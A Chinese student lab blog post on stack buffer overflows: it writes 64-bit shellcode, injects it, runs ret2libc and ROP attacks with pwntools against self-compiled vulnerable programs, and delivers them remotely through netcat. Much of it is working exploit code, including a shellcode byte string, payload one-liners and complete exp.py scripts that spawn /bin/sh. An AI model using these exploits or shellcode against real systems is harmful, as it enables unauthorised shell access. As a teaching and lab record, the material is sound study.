20155213免考项目——bof进阶及简易的HIDAttack
20155213免考项目——bof进阶及简易的HIDAttack
目录
序
任务一:构造Shellcode(64位)
任务二:64位Shellcode的注入
任务三:32位及64位bof攻击(开启堆栈保护且关闭地址随机化)
任务四:开启地址随机化以及堆栈保护后的64位ROP攻击
任务五:使用nc来远程获取靶机的root
简易的HID攻击博客链接
序
本篇博客记录了我实验ROP攻击的所有内容,整体是先从简单的Shellcode构造与注入,到克服堆栈保护与地址随机化两个问题的ROP攻击,最后一部分是使用netcat进行的远程bof攻击模拟。
任务一:构造Shellcode(64位)
shellcode 是一组指令opcode, 是可以被程序运行,因为shellcode是要直接操作寄存器和函数,所以opcode 必须是十六进制的形式。
Shellcode有几点要求,首先是要调用系统函数获取shell权限,其次是Shellcode里面不能出现\x00。
编写Shellcode的具体步骤:
- 先编写一个使用
execve()函数调用的C程序,看一下其内部都是怎么实现的。
#include<stdlib.h>
#include<unistd.h>
char*buf[]={"/bin/sh",NULL};
void main()
{
execve("/bin/sh",buf,0);
exit(0);
}
编译查看反汇编,同时定位到main和execve两个函数处,可以发现execve就相当于执行syscall然后调用0x3b调用号,可以查到。0x3b就是execve的调用号

到了这一步就可以开始编写.asm文件了,因为64位的参数都是放在寄存器里的,超过六个参数才会压栈,所以,我们需要把"/bin/sh"放到rdx里面去,之后将其地址压入栈顶,随后调用将0x3b调用号赋给rax寄存器,最后调用syscall就行了

编译该汇编文件,
nasm -f elf64 Shellcode_64.asm,ld -o Shellcode_64 Shellcode_64.o查看并抠出Shellcode_64的机器码

根据第五步抠出的机器码,测试一下,看看能不能用。写一段C的测试代码:
#include<stdlib.h>
#include<unistd.h>
void main()
{
char ch[]="\x48\x31\xd2"
"\x48\xbb\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68"
"\x48\xc1\xeb\x08"
"\x53"
"\x48\x89\xe7"
"\x48\x31\xc0"
"\x50"
"\x57"
"\x48\x89\xe6"
"\xb0\x3b"
"\x0f\x05";
void (*fp)(void);
fp=(void*)ch;
fp();
}

需要注意的是,编译这个时,要加上一句-z execstack,即开启堆栈可执行。
任务二:64位Shellcode的注入
- 类似32位的做法:
- 0x01:先关闭地址随机化;
- 0x02:在设置pwn的堆栈可执行;
- 0x03:测试foo函数返回地址在栈中存储的位置;
- 0x04:修改payload;
- 0x05:注入执行;
- 下面来一步一步执行:
- bash里输入
echo "0" > /proc/sys/kernel/randomize_va_space,将randomize_va_space设为0,可以通过more /proc/sys/kernel/randomize_va_space来查看;

- bash里面输入
execstack -s pwn20155213将pwn20155213可执行文件设置为堆栈可执行,其中可以通过execstack -q pwn20155213查看是否设置成功;

- 先构造一个
input16进制文件,之后通过输入(cat input ;cat )|./pwn20155213将input传入执行中的pwn20155213中,这时打开另一个终端,查找pwn20155213的运行进程,找到后,在gdb调试,里输入attach指令;查找foo返回地址,查看其中内容;



- 由上一步可以看出rsp的下一个地址的内容是被“44444444”所覆盖了,所以当这里改为rsp的下一个地址即可,而其后改为所要注入的Shellcode,payload就完成了。

- 执行注入攻击;

攻击成功,但值得注意,上图显示的没有所有payload字符,这是因为在构造payload时,存在\x00。
- bash里输入
任务三:32位及64位bof攻击(开启堆栈保护且关闭地址随机化)
(1)32位bof攻击
- 步骤:
- 0x01:关闭地址随机化(如任务二)
- 0x02:使用事先编译好的32位程序level,进入gdb调试
- 0x03:由第二步分别获得
/bin/sh,system的位置编写进将要注入的payload - 0x04:将写好的payload注入攻击
- 具体实现:
bash里输入
echo "0" > /proc/sys/kernel/randomize_va_space,将randomize_va_space设为0,可以通过more /proc/sys/kernel/randomize_va_space来查看;
(PS)同时使用execstack -c level恢复level的堆栈保护;在bash里输入
gdb ./level之后,开始调试:先将在main处设置断点,然后运行程序
输入
print system查看system在内存中的位置,如图位置在0xf7e03c60处输入
print __libc_start_main查看__libc_start_main的位置,同时根据__libc_start_main的位置,找到/bin/sh的位置

输入"1111111222222223333333344444444"并查看溢出位置,基本如任务二;

由第二步得到的
system和/bin/sh的位置,编写payload,perl -e 'print "A"x28;print "\x60\x3c\xe0\xf7\xab\xac\xad\xae\x08\x28\xf4\xf7"'如图操作,注入成功;

(2)64位bof攻击
- 步骤:
- 0x01:关闭地址随机化(如任务二)
- 0x02:查找
pop rdi;ret的位置 - 0x03:使用事先编译好的64位程序pwn20155213,进入gdb调试
- 0x04:由第二步分别获得
pop rdi;ret,/bin/sh,system的位置编写进将要注入的payload - 0x05:将写好的payload注入攻击
- 具体实现:
- bash里输入
echo "0" > /proc/sys/kernel/randomize_va_space,将randomize_va_space设为0,可以通过more /proc/sys/kernel/randomize_va_space来查看;
(PS)同时使用execstack -c level恢复level的堆栈保护; - 使用
ROPgadget --binary pwn20155213 --only "pop|ret"|grep rdi,如果查找不到需要的pop rdi;ret则将pwn20155213换成/lib/x86_64-linux-gnu/libc.so.6
,这里我们使用pwn20155213的内部地址及0x733,这是相对地址,并不是最后的运行起来的地址。 - 根据第二步,查看
pwn20155213反汇编,了解到0x733这个地址存在于__libc_csu_init这段代码里,进而在gdb里,查看这段代码,得到pop rdi;ret的位置为0x0000555555554733,


之后跟32位同样,先测试出哪里溢出;

再分别查看system和/bin/sh的位置(0x7ffff7a60510,0x7ffff7b9b3f3)

- 根据第三步,编写payload;

- 注入攻击,如图攻击成功;

- bash里输入
任务四:开启地址随机化以及堆栈保护后的64位ROP攻击
- 这里首先有个问题需要解决就是如何在程序运行时,从命令行向程序传送十六进制数据,查找了很多,这里有六种方法
- 管道(Pipe)及有名管道(named pipe)
- 信号(Signal)
- 报文(Message)队列(消息队列)
- 共享内存
- 信号量(semaphore)
- Socket
- 这里只有Socket是可行的,会在随后的任务五里面说
- 排除上面所有底层提供的解决方法,但是python里面有个包可以提供向正在运行的程序传送数据,即是pwntools,这个包的具体使用情况这里不细说,百度上多得很
- ROP攻击其实在任务三已经使用到了,
ROPgadget --binary pwn20155213 --only "pop|ret"|grep rdi,这条语句就是用来查找可以使用的gadgets,从而构造合适的ROP链进行攻击。 - ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。
1.寻找gadget
- 使用的工具
ROPEME: https://github.com/packz/ropeme
Ropper: https://github.com/sashs/Ropper
ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master
- 我选择的是第三种,一般语句也就是
ROPgadget --binary 二进制文件 --only "pop|ret"|grep rdi - 在任务三中,已经成功使用
ROPgadget --binary 二进制文件 --only "pop|ret"|grep rdi获得了可以使用的gadget,而使用的gadget是__libc_csu_init里面的,这个函数是用来对libc进行初始化操作,而所有使用到libc.so的都会调用这个函数,于是就可以通过这个特性构造一个通用的gadget - 我们使用ROPgadget --binary 二进制文件 --only "pop|ret"|grep rdi

2.使用pwntools工具在python环境下进行测试
- 这里为了进阶演示,就先修改一下之前使用的C代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}
需要解释一下systemaddr这个函数,这里是为了输出system执行时的内存地址
- 介绍一下大致思路,及使用溢出手段,返回调用system函数,进而调用"/bin/sh":
- 这里是使用python里的pwn这个工具包进行payload的注入操作
- 第一步,先获得"/bin/sh",pop_ret分别于system的相对位置差值
- 在exp.py里面调用recv函数,获得运行时的system具体地址
- 之后分别计算"/bin/sh",pop_ret的具体地址
- 最后进行payload注入,同时交互运行
- 实现代码如下:
#!/usr/bin/env python
from pwn import *
libc = ELF('libc.so.6')
p = process('./pwn20155213')
#p = remote('127.0.0.1',10001)
binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
print "binsh_addr_offset = " + hex(binsh_addr_offset)
pop_ret_offset = 0x000000000002144f - libc.symbols['system']#0x000000000002144f是通过ROP查找出来的一个符合条件的gadget地址
print "pop_ret_offset = " + hex(pop_ret_offset)
#pop_pop_call_offset = 0x00000000000f4739 - libc.symbols['system']
#print "pop_pop_call_offset = " + hex(pop_pop_call_offset)
print "\n##########receiving system addr##########\n"
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)
binsh_addr = system_addr + binsh_addr_offset
print "binsh_addr = " + hex(binsh_addr)
pop_ret_addr = system_addr + pop_ret_offset
print "pop_ret_addr = " + hex(pop_ret_addr)
#pop_pop_call_addr = system_addr + pop_pop_call_offset
#print "pop_pop_call_addr = " + hex(pop_pop_call_addr)
p.recv()
payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
#payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)
print "\n##########sending payload##########\n"
p.send(payload)
p.interactive()
运行截图如下:

这里有一个缺憾,就是C代码需要输出
printf("%p\n",dlsym(handle,"system"));,及system的运行时地址,为了实现更符合平常情况的,我们需要找一个万能的gadget,在寻找gadget那一段中已经叙述了相关万能的gadget得从__libc_csu_init里面找。
3.放弃辅助函数的ROP攻击
- 这里修改源码为
#!c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
看一下这段代码,可以发现里面包含有write和read函数,这时,在没有辅助函数的帮助下,无法知晓system的位置,我们就可以取write为参照物,在利用write函数泄露出相关的write函数内存地址信息,从而根据相对地址获得我们需要的system的地址等等。
此时需要解决一个问题就是,我们是在64位下作的,他的前6个参数都是放在寄存器里面的,而不是像32位那样,放在栈里面,所以不可以简单地想象,使用栈溢出注入我们想注入的数据,这里我们需要寻找可以使用的心得gadget,及可以操作那六个寄存器的gadget,从而解决上一个加了辅助函数的遗憾
使用
objdump -d ./pwn20155213,看到里面有个__libc_csu_init函数,里面就有我们想要的东西

前期铺垫都基本做好了,现在开始编写payload:
- 我们先构造payload1,利用write()输出write在内存中的地址。注意我们的gadget是call qword ptr [r12+rbx*8],所以我们应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
- 当我们exp在收到write()在内存中的地址后,就可以计算出system()在内存中的地址了。接着我们构造payload2,利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中。
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
- 最后我们构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。
payload3 = "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
- 最终的exp.py如下:
#!python
#!/usr/bin/env python
from pwn import * elf = ELF('level5')
libc = ELF('libc.so.6') p = process('./level5')
#p = remote('127.0.0.1',10001) got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read) main = 0x400564 off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr) #rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main) p.recvuntil("Hello, World\n") print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1) write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr) system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr) bss_addr=0x601028 p.recvuntil("Hello, World\n") #rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main) print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1) p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1) p.recvuntil("Hello, World\n") #rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main) print "\n#############sending payload3#############\n" sleep(1)
p.send(payload3) p.interactive()
- 运行截图:

任务五:使用nc来远程获取靶机的root
这里不详细介绍netcat程序的使用了,只说两个,一个是正相连接,一个是反弹连接,我们将会使用正向连接模逆服务器正在运行的程序,这也是ctf中pwn题的连接服务器方法。
1.关闭了地址随机化的64位bof攻击
这里我们使用已经构造好的payload,进行注入(我使用的是win下面的Cygwin64 Terminal,这个可以很好的模拟linux的终端,就省得在开一台虚拟机了)
- 靶机输入
nc -l -e pwn20155213 -p 5213进行监听 Cygwin64 Terminal端输入(cat payload;cat)|nc 172.30.6.213 5213- 运行截图:


- 靶机输入
2.开启地址随机化的64位bof攻击
- 这里不方便在Cygwin64 Terminal这个下面做,就两个都放在Kali上了
- 先开启地址随机化
- 先修改py文件,改成remote控制的
- 靶机输入
nc -l -e pwn20155213 -p 5213进行监听 - 运行py文件
- 截图:

- 要注意的是,当我们把程序的io重定向到socket上的时候,根据网络协议,因为发送的数据包过大,read()有时会截断payload,造成payload传输不完整造成攻击失败。这时候要多试几次即可成功。如果进行远程攻击的话,需要保证ping值足够小才行(局域网)。
作业感想
做的时间跨度有点大,前前后后一个半月,做的东西也都是别人做剩下的,没什么技术含量,也没有实际价值,只是当个实验消磨一下时间,锻炼一下
20155213免考项目——bof进阶及简易的HIDAttack的更多相关文章
- 20155213免考项目——简易的HIDAttack
20155213免考项目--简易的HIDAttack 听5214说他做不出来自己的免考项目,于是就转向bof进阶,并且成功做出了64位的ROP攻击...... 既然如此,那我就再做一个吧,但都已经期末 ...
- 20145208 蔡野 《网络对抗》免考项目 MSF学习
20145208 蔡野 <网络对抗>免考项目 MSF Exploit模块开发 题目:MSF Exploit模块开发 摘要 本免考项目的目标是通过对msf模块的设计语言--ruby和expl ...
- 20145311 王亦徐《网络对抗技术》 逆向及BOF进阶实践
20145311<网络对抗技术>逆向及BOF进阶实践 学习目的 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈 ...
- 20145216史婧瑶《网络对抗》逆向及Bof进阶实践
20145216史婧瑶<网络对抗>逆向及Bof进阶实践 基础知识 Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈的返回地址利用缓冲区溢 ...
- #20145238荆玉茗《网络对抗》-逆向及Bof进阶实践
20145238荆玉茗<网络对抗>-逆向及Bof进阶实践 实践目的:注入shellcode 准备一段shellcode代码 Shellcode实际是一段代码(也可以是填充数据),是用来发送 ...
- 20145217《网络对抗》 逆向及BOF进阶实践学习总结
20145217<网络对抗> 逆向及BOF进阶实践学习总结 实践目的 1.注入shellcode 2.实现Return-to-libc攻击 知识点学习总结 Shellcode实际是一段代码 ...
- 20145222黄亚奇《网络对抗》 逆向及BOF进阶实践学习总结
20145222<网络对抗> 逆向及BOF进阶实践学习总结 实践目的 1.注入shellcode 2.实现Return-to-libc攻击 知识点学习总结 Shellcode实际是一段代码 ...
- 《网络对抗》 逆向及Bof进阶实践
<网络对抗> 逆向及Bof进阶实践 实践目标 注入一个自己制作的shellcode并运行这段shellcode: 实践步骤 准备工作 root@5224:~# apt-get instal ...
- 项目:JS实现简易计算器案例
组件化网页开发下的: 步骤一:让页面动起来的JavaScript深入讲解 的 项目:JS实现简易计算器案例
随机推荐
- Nginx的访问认证
1.设置访问认证的作用: 在实际的工作中,有时候我们会接到给网站加密的任务,就是需要有用户名和密码才能访问网站的内容,这个一般会是在企业的内部web服务上面来实现,其实也很简单就两个参数 语法: lo ...
- go语言练习:类型转换
package main import "fmt" func main() { var a int var b uint var c float32 var d float64 a ...
- python基础知识回顾之元组
元组与列表的方法基本一样,只不过创建元组是用小括号()把元素括起来,两者的区别在于,元组的元素不可被修改. 元组被称为只读列表,即数据可以被查询,但不能被修改,列表的切片操作适用于元组. 元组写在小括 ...
- JQUERY中find方法
[jquery]find()方法和each()方法 find()方法 jquery选择器非常强大,利用css的命名规约,可以更快更方便的找出想要的元素. 比如: $("#id") ...
- python容错
#try: except: else: #为什么叫容错呢,先说说错误,这里说的错误并不是因为马虎或者什么原因在脚本中留下的bug,这个不能容掉,所谓容掉就是略过这个错误,要在测试时候发现并修正,需要容 ...
- shell傳遞參數
Shell 传递参数 我们可以在执行 Shell 脚本时,向脚本传递参数,脚本内获取参数的格式为:$n.n 代表一个数字,1 为执行脚本的第一个参数,2 为执行脚本的第二个参数,以此类推…… 比如我們 ...
- Cisco DHCP 配置方法
首先假设两台思科路由器,R1(服务端)连接R2(客户端),组成一个简单的链式局域网,下面就来实现DHCP,配置的命令及其解释如下: 1.R1 dhcp服务的配置 dhcp#configure term ...
- MySQL索引原理以及类型
1.什么是索引 索引是在MySQL的存储引擎上,对其表中的某个列或多列通过一些算法实现可快速查询出结果的一种方法. 2.为什么要有索引 就像一本书要有目录一样,我们可快速通过目录来查找对应的章节得出结 ...
- digital ocean 内存不足时增加swap文件的方法
买了比较低配的digitalocean 云主机,在执行composer update的时候出现内存不足的问题,但是内存大小已经固定了,除非加钱,还有别的方法吗? 有,增加swap分区,这样就可以弥补内 ...
- day3-课堂代码
# a = ('哈哈', 'xixi', 'hehe') # print(a[0]) # print(a[0:2]) # # # 列表 # a = ['哈哈', 'xixi', 'hehe', 1, ...